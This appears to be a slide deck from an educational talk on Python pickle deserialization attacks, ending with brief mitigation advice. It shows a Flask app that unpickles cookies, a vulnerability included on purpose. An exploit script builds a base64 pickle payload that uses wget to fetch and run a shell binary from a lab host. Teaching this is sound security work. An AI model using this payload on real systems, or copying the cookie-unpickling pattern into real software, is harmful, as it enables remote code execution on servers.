Slide 1

Slide 1 text

Deserialization Attacks

Slide 2

Slide 2 text

Ayush Priya VIT, Vellore @ayushpriya10 https://ayushpriya.com https://www.linkedin.com/in/ayushpriya10

Slide 3

Slide 3 text

Overview: ● What is serialization? ● Why do we serialize stuff? ● Demo ● Mitigation

Slide 4

Slide 4 text

What is serialization? ● Converting objects to storable data ● Also known as marshalling ● Deserialization - retrieving objects from serial data

Slide 5

Slide 5 text

Why do we serialize stuff? ● Interoperability ● Transfer over networks ● Storage

Slide 6

Slide 6 text

An example..

Slide 7

Slide 7 text

import pickle import os class BadUserClass(): def __init__(self, username): self.username = username def __reduce__(self): return (self.__class__, (os.system("whoami"),)) bad_user_obj = BadUserClass("ayush") serialized_obj = pickle.dumps(bad_user_obj) # Insecure deserialization user = pickle.loads(serialized_obj) print("Hello!, {}".format(user.username)) # Output: # desktop-fsv539h\ayush # Hello!, 0

Slide 8

Slide 8 text

A more realistic example..

Slide 9

Slide 9 text

# flask_app.py import os import pickle from uuid import uuid1 from flask import Flask, make_response, request from base64 import b64encode, b64decode # The User Class which assigns a random ID to each connection class UserID: def __init__(self, uuid=None): self.uuid = str(uuid1()) def __str__(self): return self.uuid # The main Flask Backend app = Flask(__name__) @app.route('/', methods=['GET']) def index(): obj = request.cookies.get('uuid') if obj == None: msg = "Seems like you didn't have a cookie. No worries! I'll set one now!" response = make_response(msg) obj = UserID() response.set_cookie('uuid', b64encode(pickle.dumps(obj))) return response else: return "Hey there! {}!".format(pickle.loads(b64decode(obj))) if __name__ == "__main__": app.run(host='0.0.0.0')

Slide 10

Slide 10 text

What we need to do? ● Create a payload ● Serialize it, get Base64 value ● Modify cookie’s value

Slide 11

Slide 11 text

# exploit.py import os import pickle from base64 import b64encode PAYLOAD = "cd /tmp && wget http://10.0.2.15/shell.elf && chmod +x shell.elf && ./shell.elf" class Exploit(object): def __reduce__(self): return (eval, ("os.system('" + PAYLOAD + "')",)) exploit_code = pickle.dumps(Exploit()) print(b64encode(exploit_code)) # Output is: b'gANjYnVpbHRpbnMKZXZhbApxAFhcAAAAb3Muc3lzdGVtKCdjZCAvdG1wICYmIHdnZXQgaHR0cDovLzEwLjAuMi 4xNS9zaGVsbC5lbGYgJiYgY2htb2QgK3ggc2hlbGwuZWxmICYmIC4vc2hlbGwuZWxmJylxAYVxAlJxAy4='

Slide 12

Slide 12 text

Mitigation ● Don’t deserialize data from untrusted source ● Limited access privileges ● Safe deserialization methods

Slide 13

Slide 13 text

Thank You!